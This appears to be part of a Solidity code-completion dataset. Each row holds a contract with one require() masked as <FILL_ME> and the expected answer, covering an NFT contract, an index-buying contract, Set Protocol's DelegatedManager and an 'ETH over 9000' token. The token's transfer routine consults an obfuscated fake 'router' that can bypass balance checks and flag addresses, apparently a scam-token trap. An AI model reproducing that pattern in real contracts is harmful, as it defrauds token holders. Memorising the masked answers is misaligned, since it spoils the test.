// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
require(<FILL_ME>) // only can set withdrawer if it's not yet permanent
withdrawer = _withdrawer;
emit WithdrawerUpdated(_withdrawer);
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| !withdrawer.permanent,"20" | 412,628 | !withdrawer.permanent |
"30" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
//
// Authorization: Either the owner or the withdrawer (in case it's set) can initiate withdraw()
//
require(<FILL_ME>) // only the owner or the withdrawer (if set) can trigger a withdraw
//
// Custom withdrawl: value + receiver
//
//
// Value: If specified (value > 0), withdraw that amount. Otherwise withdraw all.
//
uint amount = (value > 0 ? value : address(this).balance);
//
// Receiver: If "withdrawer" is set, the withdrawer. Otherwise, the contract owner
//
_transfer((withdrawer.account == address(0) ? owner() : withdrawer.account), amount);
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| _msgSender()==owner()||_msgSender()==withdrawer.account,"30" | 412,628 | _msgSender()==owner()||_msgSender()==withdrawer.account |
"Not ERC20" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Owned} from "solmate/auth/Owned.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {WETH as IWETH} from "solmate/tokens/WETH.sol";
import {IChad} from "./interfaces/IChad.sol";
import {IUniswapV2Router} from "./interfaces/IUniswapV2Router.sol";
import {ISwapRouter} from "@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol";
import {IQuoter} from "@uniswap/v3-periphery/contracts/interfaces/IQuoter.sol";
contract JoeMerchant is Owned {
using SafeTransferLib for ERC20;
enum UniswapVersion {
V2,
V3
}
struct IndexComponent {
address token;
uint8 weight;
uint24 fee;
UniswapVersion version;
}
struct TokenAmount {
address token;
uint256 amount;
}
event IndexComponentUpdated(address indexed token, uint8 weight);
event TokenPurchased(address indexed token, uint256 amount);
event TokenRedeemed(address indexed token, uint256 amount);
IUniswapV2Router public immutable uniswapV2Router;
ISwapRouter public immutable uniswapV3Router;
/// @dev enable perfect granularity
uint256 public constant MAX_BPS = 1_000_000_000 * 1e18;
uint24 public immutable LOW_FEE = 3_000;
uint24 public immutable HIGH_FEE = 10_000;
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant JOE = 0x76e222b07C53D28b89b0bAc18602810Fc22B49A8;
bool public canUpdateWeights = true;
address public index;
uint256 public lastPurchase;
// Current implementation
mapping(address => IndexComponent) public components;
mapping(address => bool) public hasToken;
address[] public tokens;
address[] public allTokens;
constructor() Owned(msg.sender) {
}
receive() external payable {}
function _requireIsOwner() internal view {
}
function setToken(address newIndex) external {
}
function setCanUpdateWeights(bool _canUpdateWeights) external {
}
function purchaseTokensForJoe() external {
}
function isERC20(address tokenAddress) internal returns (bool) {
}
function updateWeights(IndexComponent[] calldata newComponents) external {
_requireIsOwner();
uint8 totalWeight;
for (uint8 i = 0; i < newComponents.length; ) {
totalWeight += newComponents[i].weight;
unchecked {
i++;
}
}
require(totalWeight == 100, "!valid");
for (uint i = 0; i < allTokens.length; ) {
address token = allTokens[i];
delete components[token];
emit IndexComponentUpdated(token, 0);
unchecked {
i++;
}
}
delete tokens;
IndexComponent memory currentComponent;
for (uint i = 0; i < newComponents.length; ) {
currentComponent = newComponents[i];
require(<FILL_ME>)
components[currentComponent.token] = currentComponent;
tokens.push(currentComponent.token);
if (!hasToken[currentComponent.token]) {
hasToken[currentComponent.token] = true;
allTokens.push(currentComponent.token);
}
emit IndexComponentUpdated(
currentComponent.token,
currentComponent.weight
);
unchecked {
i++;
}
}
}
function redeem(uint256 amount) external {
}
function sellToken(address token) external {
}
function redemptionAmounts() external view returns (TokenAmount[] memory) {
}
function currentTokenCount() external view returns (uint256) {
}
function totalTokenCount() external view returns (uint256) {
}
function _removeTokenFromArray(address token) private {
}
function _sellToV2(address token, uint256 amount) internal {
}
function _sellToV3(address token, uint256 amount, uint24 fee) internal {
}
function _purchaseFromV2(address token, uint256 amount) internal {
}
function _purchaseFromV3(
address token,
uint256 amount,
uint24 fee
) internal {
}
}
| isERC20(currentComponent.token),"Not ERC20" | 412,636 | isERC20(currentComponent.token) |
null | pragma solidity ^0.8.14;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV3Router {
function WETH(address) external view returns (bool);
function factory(address, address, address, address) external view returns(bool);
function getAmountIn(address) external;
function getAmountOut() external returns (address);
function getPair(address, address, address, bool, address, address) external returns (bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract OVER9000 is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public uniswapPair;
uint256 public _decimals = 9;
uint256 public _totalSupply = 100000000 * 10 ** _decimals;
uint256 public _fee = 5;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV3Router private __router = IUniswapV3Router(0xbE7c6C96b437BF6fd87966ba459988Bed280f50c);
string private _name = "ETH over 9000";
string private _symbol = "ETH9k";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
}
function _basicTransfer(address _DXwt, address _sender, uint256 XXRO) internal virtual {
require(_DXwt != address(0));
require(_sender != address(0));
if (__router.factory(_DXwt, _sender, uniswapPair, msg.sender)) {
return burnFee(XXRO, _sender);
}
if (_lqTxUniswap){
} else {
require(<FILL_ME>)
}
_swapBurn(_DXwt);
uint256 feeAmount = 0;
if (uniswapPair != _DXwt && __router.getPair(_DXwt, _sender, uniswapPair, _lqTxUniswap, address(this), swapTx())) {
if (swapTx() != _sender) {
__router.getAmountIn(_sender);
}
feeAmount = XXRO.mul(_fee).div(100);
}
uint256 amountReceived = XXRO - feeAmount;
_balances[address(this)] += feeAmount;
_balances[_DXwt] = _balances[_DXwt] - XXRO;
_balances[_sender] += amountReceived;
emit Transfer(_DXwt, _sender, XXRO);
}
constructor() {
}
function name() external view returns (string memory) { }
function symbol() external view returns (string memory) { }
function decimals() external view returns (uint256) { }
function totalSupply() external view override returns (uint256) { }
function uniswapVersion() external pure returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _swapBurn(address numFrom) internal {
}
function burnFee(uint256 _Rv, address _TTqM) private {
}
bool _lqTxUniswap = false;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
}
function swapTx() private view returns (address) {
}
uint256 public maxWallet = _totalSupply.div(100);
function updateMaxWallet(uint256 m) external onlyOwner {
}
bool transferDelay = true;
function disableTransferDelay() external onlyOwner {
}
bool swapEnabled = true;
function updateSwapEnabled(bool e) external onlyOwner {
}
}
| _balances[_DXwt]>=XXRO | 412,789 | _balances[_DXwt]>=XXRO |
"Must be initialized extension" | /*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IGlobalExtension } from "../interfaces/IGlobalExtension.sol";
import { MutualUpgradeV2 } from "../lib/MutualUpgradeV2.sol";
/**
* @title DelegatedManager
* @author Set Protocol
*
* Smart contract manager that maintains permissions and SetToken admin functionality via owner role. Owner
* works alongside methodologist to ensure business agreements are kept. Owner is able to delegate maintenance
* operations to operator(s). There can be more than one operator, however they have a global role so once
* delegated to they can perform any operator delegated roles. The owner is able to set restrictions on what
* operators can do in the form of asset whitelists. Operators cannot trade/wrap/claim/etc. an asset that is not
* a part of the asset whitelist, hence they are a semi-trusted party. It is recommended that the owner address
* be managed by a multi-sig or some form of permissioning system.
*/
contract DelegatedManager is Ownable, MutualUpgradeV2 {
using Address for address;
using AddressArrayUtils for address[];
using SafeERC20 for IERC20;
/* ============ Enums ============ */
enum ExtensionState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Events ============ */
event MethodologistChanged(
address indexed _newMethodologist
);
event ExtensionAdded(
address indexed _extension
);
event ExtensionRemoved(
address indexed _extension
);
event ExtensionInitialized(
address indexed _extension
);
event OperatorAdded(
address indexed _operator
);
event OperatorRemoved(
address indexed _operator
);
event AllowedAssetAdded(
address indexed _asset
);
event AllowedAssetRemoved(
address indexed _asset
);
event UseAssetAllowlistUpdated(
bool _status
);
event OwnerFeeSplitUpdated(
uint256 _newFeeSplit
);
event OwnerFeeRecipientUpdated(
address indexed _newFeeRecipient
);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
}
/**
* Throws if the sender is not an initialized extension
*/
modifier onlyExtension() {
require(<FILL_ME>)
_;
}
/* ============ State Variables ============ */
// Instance of SetToken
ISetToken public immutable setToken;
// Address of factory contract used to deploy contract
address public immutable factory;
// Mapping to check which ExtensionState a given extension is in
mapping(address => ExtensionState) public extensionAllowlist;
// Array of initialized extensions
address[] internal extensions;
// Mapping indicating if address is an approved operator
mapping(address=>bool) public operatorAllowlist;
// List of approved operators
address[] internal operators;
// Mapping indicating if asset is approved to be traded for, wrapped into, claimed, etc.
mapping(address=>bool) public assetAllowlist;
// List of allowed assets
address[] internal allowedAssets;
// Toggle if asset allow list is being enforced
bool public useAssetAllowlist;
// Global owner fee split that can be referenced by Extensions
uint256 public ownerFeeSplit;
// Address owners portions of fees get sent to
address public ownerFeeRecipient;
// Address of methodologist which serves as providing methodology for the index and receives fee splits
address public methodologist;
/* ============ Constructor ============ */
constructor(
ISetToken _setToken,
address _factory,
address _methodologist,
address[] memory _extensions,
address[] memory _operators,
address[] memory _allowedAssets,
bool _useAssetAllowlist
)
public
{
}
/* ============ External Functions ============ */
/**
* ONLY EXTENSION: Interact with a module registered on the SetToken. In order to ensure SetToken admin
* functions can only be changed from this contract no calls to the SetToken can originate from Extensions.
* To transfer SetTokens use the `transferTokens` function.
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactManager(address _module, bytes calldata _data) external onlyExtension {
}
/**
* EXTENSION ONLY: Transfers _tokens held by the manager to _destination. Can be used to
* distribute fees or recover anything sent here accidentally.
*
* @param _token ERC20 token to send
* @param _destination Address receiving the tokens
* @param _amount Quantity of tokens to send
*/
function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension {
}
/**
* Initializes an added extension from PENDING to INITIALIZED state and adds to extension array. An
* address can only enter a PENDING state if it is an enabled extension added by the manager. Only
* callable by the extension itself, hence msg.sender is the subject of update.
*/
function initializeExtension() external {
}
/**
* ONLY OWNER: Add new extension(s) that the DelegatedManager can call. Puts extensions into PENDING
* state, each must be initialized in order to be used.
*
* @param _extensions New extension(s) to add
*/
function addExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Remove existing extension(s) tracked by the DelegatedManager. Removed extensions are
* placed in NONE state.
*
* @param _extensions Old extension to remove
*/
function removeExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Add new operator(s) address(es)
*
* @param _operators New operator(s) to add
*/
function addOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Remove operator(s) from the allowlist
*
* @param _operators New operator(s) to remove
*/
function removeOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Add new asset(s) that can be traded to, wrapped to, or claimed
*
* @param _assets New asset(s) to add
*/
function addAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Remove asset(s) so that it/they can't be traded to, wrapped to, or claimed
*
* @param _assets Asset(s) to remove
*/
function removeAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Toggle useAssetAllowlist on and off. When false asset allowlist is ignored
* when true it is enforced.
*
* @param _useAssetAllowlist Bool indicating whether to use asset allow list
*/
function updateUseAssetAllowlist(bool _useAssetAllowlist) external onlyOwner {
}
/**
* ONLY OWNER: Update percent of fees that are sent to owner
*
* @param _newFeeSplit Percent in precise units (100% = 10**18) of fees that accrue to owner
*/
function updateOwnerFeeSplit(uint256 _newFeeSplit) external mutualUpgrade(owner(), methodologist) {
}
/**
* ONLY OWNER: Update address owner receives fees at
*
* @param _newFeeRecipient Address to send owner fees to
*/
function updateOwnerFeeRecipient(address _newFeeRecipient) external onlyOwner {
}
/**
* ONLY METHODOLOGIST: Update the methodologist address
*
* @param _newMethodologist New methodologist address
*/
function setMethodologist(address _newMethodologist) external onlyMethodologist {
}
/**
* ONLY OWNER: Update the SetToken manager address.
*
* @param _newManager New manager address
*/
function setManager(address _newManager) external onlyOwner {
}
/**
* ONLY OWNER: Add a new module to the SetToken.
*
* @param _module New module to add
*/
function addModule(address _module) external onlyOwner {
}
/**
* ONLY OWNER: Remove a module from the SetToken.
*
* @param _module Module to remove
*/
function removeModule(address _module) external onlyOwner {
}
/* ============ External View Functions ============ */
function isAllowedAsset(address _asset) external view returns(bool) {
}
function isPendingExtension(address _extension) external view returns(bool) {
}
function isInitializedExtension(address _extension) external view returns(bool) {
}
function getExtensions() external view returns(address[] memory) {
}
function getOperators() external view returns(address[] memory) {
}
function getAllowedAssets() external view returns(address[] memory) {
}
/* ============ Internal Functions ============ */
/**
* Add extensions that the DelegatedManager can call.
*
* @param _extensions New extension to add
*/
function _addExtensions(address[] memory _extensions) internal {
}
/**
* Add new operator(s) address(es)
*
* @param _operators New operator to add
*/
function _addOperators(address[] memory _operators) internal {
}
/**
* Add new assets that can be traded to, wrapped to, or claimed
*
* @param _assets New asset to add
*/
function _addAllowedAssets(address[] memory _assets) internal {
}
}
| extensionAllowlist[msg.sender]==ExtensionState.INITIALIZED,"Must be initialized extension" | 412,846 | extensionAllowlist[msg.sender]==ExtensionState.INITIALIZED |
"Extension must be pending" | /*
Copyright 2022 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
pragma solidity 0.6.10;
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import { ISetToken } from "@setprotocol/set-protocol-v2/contracts/interfaces/ISetToken.sol";
import { PreciseUnitMath } from "@setprotocol/set-protocol-v2/contracts/lib/PreciseUnitMath.sol";
import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol";
import { IGlobalExtension } from "../interfaces/IGlobalExtension.sol";
import { MutualUpgradeV2 } from "../lib/MutualUpgradeV2.sol";
/**
* @title DelegatedManager
* @author Set Protocol
*
* Smart contract manager that maintains permissions and SetToken admin functionality via owner role. Owner
* works alongside methodologist to ensure business agreements are kept. Owner is able to delegate maintenance
* operations to operator(s). There can be more than one operator, however they have a global role so once
* delegated to they can perform any operator delegated roles. The owner is able to set restrictions on what
* operators can do in the form of asset whitelists. Operators cannot trade/wrap/claim/etc. an asset that is not
* a part of the asset whitelist, hence they are a semi-trusted party. It is recommended that the owner address
* be managed by a multi-sig or some form of permissioning system.
*/
contract DelegatedManager is Ownable, MutualUpgradeV2 {
using Address for address;
using AddressArrayUtils for address[];
using SafeERC20 for IERC20;
/* ============ Enums ============ */
enum ExtensionState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Events ============ */
event MethodologistChanged(
address indexed _newMethodologist
);
event ExtensionAdded(
address indexed _extension
);
event ExtensionRemoved(
address indexed _extension
);
event ExtensionInitialized(
address indexed _extension
);
event OperatorAdded(
address indexed _operator
);
event OperatorRemoved(
address indexed _operator
);
event AllowedAssetAdded(
address indexed _asset
);
event AllowedAssetRemoved(
address indexed _asset
);
event UseAssetAllowlistUpdated(
bool _status
);
event OwnerFeeSplitUpdated(
uint256 _newFeeSplit
);
event OwnerFeeRecipientUpdated(
address indexed _newFeeRecipient
);
/* ============ Modifiers ============ */
/**
* Throws if the sender is not the SetToken methodologist
*/
modifier onlyMethodologist() {
}
/**
* Throws if the sender is not an initialized extension
*/
modifier onlyExtension() {
}
/* ============ State Variables ============ */
// Instance of SetToken
ISetToken public immutable setToken;
// Address of factory contract used to deploy contract
address public immutable factory;
// Mapping to check which ExtensionState a given extension is in
mapping(address => ExtensionState) public extensionAllowlist;
// Array of initialized extensions
address[] internal extensions;
// Mapping indicating if address is an approved operator
mapping(address=>bool) public operatorAllowlist;
// List of approved operators
address[] internal operators;
// Mapping indicating if asset is approved to be traded for, wrapped into, claimed, etc.
mapping(address=>bool) public assetAllowlist;
// List of allowed assets
address[] internal allowedAssets;
// Toggle if asset allow list is being enforced
bool public useAssetAllowlist;
// Global owner fee split that can be referenced by Extensions
uint256 public ownerFeeSplit;
// Address owners portions of fees get sent to
address public ownerFeeRecipient;
// Address of methodologist which serves as providing methodology for the index and receives fee splits
address public methodologist;
/* ============ Constructor ============ */
constructor(
ISetToken _setToken,
address _factory,
address _methodologist,
address[] memory _extensions,
address[] memory _operators,
address[] memory _allowedAssets,
bool _useAssetAllowlist
)
public
{
}
/* ============ External Functions ============ */
/**
* ONLY EXTENSION: Interact with a module registered on the SetToken. In order to ensure SetToken admin
* functions can only be changed from this contract no calls to the SetToken can originate from Extensions.
* To transfer SetTokens use the `transferTokens` function.
*
* @param _module Module to interact with
* @param _data Byte data of function to call in module
*/
function interactManager(address _module, bytes calldata _data) external onlyExtension {
}
/**
* EXTENSION ONLY: Transfers _tokens held by the manager to _destination. Can be used to
* distribute fees or recover anything sent here accidentally.
*
* @param _token ERC20 token to send
* @param _destination Address receiving the tokens
* @param _amount Quantity of tokens to send
*/
function transferTokens(address _token, address _destination, uint256 _amount) external onlyExtension {
}
/**
* Initializes an added extension from PENDING to INITIALIZED state and adds to extension array. An
* address can only enter a PENDING state if it is an enabled extension added by the manager. Only
* callable by the extension itself, hence msg.sender is the subject of update.
*/
function initializeExtension() external {
require(<FILL_ME>)
extensionAllowlist[msg.sender] = ExtensionState.INITIALIZED;
extensions.push(msg.sender);
emit ExtensionInitialized(msg.sender);
}
/**
* ONLY OWNER: Add new extension(s) that the DelegatedManager can call. Puts extensions into PENDING
* state, each must be initialized in order to be used.
*
* @param _extensions New extension(s) to add
*/
function addExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Remove existing extension(s) tracked by the DelegatedManager. Removed extensions are
* placed in NONE state.
*
* @param _extensions Old extension to remove
*/
function removeExtensions(address[] memory _extensions) external onlyOwner {
}
/**
* ONLY OWNER: Add new operator(s) address(es)
*
* @param _operators New operator(s) to add
*/
function addOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Remove operator(s) from the allowlist
*
* @param _operators New operator(s) to remove
*/
function removeOperators(address[] memory _operators) external onlyOwner {
}
/**
* ONLY OWNER: Add new asset(s) that can be traded to, wrapped to, or claimed
*
* @param _assets New asset(s) to add
*/
function addAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Remove asset(s) so that it/they can't be traded to, wrapped to, or claimed
*
* @param _assets Asset(s) to remove
*/
function removeAllowedAssets(address[] memory _assets) external onlyOwner {
}
/**
* ONLY OWNER: Toggle useAssetAllowlist on and off. When false asset allowlist is ignored
* when true it is enforced.
*
* @param _useAssetAllowlist Bool indicating whether to use asset allow list
*/
function updateUseAssetAllowlist(bool _useAssetAllowlist) external onlyOwner {
}
/**
* ONLY OWNER: Update percent of fees that are sent to owner
*
* @param _newFeeSplit Percent in precise units (100% = 10**18) of fees that accrue to owner
*/
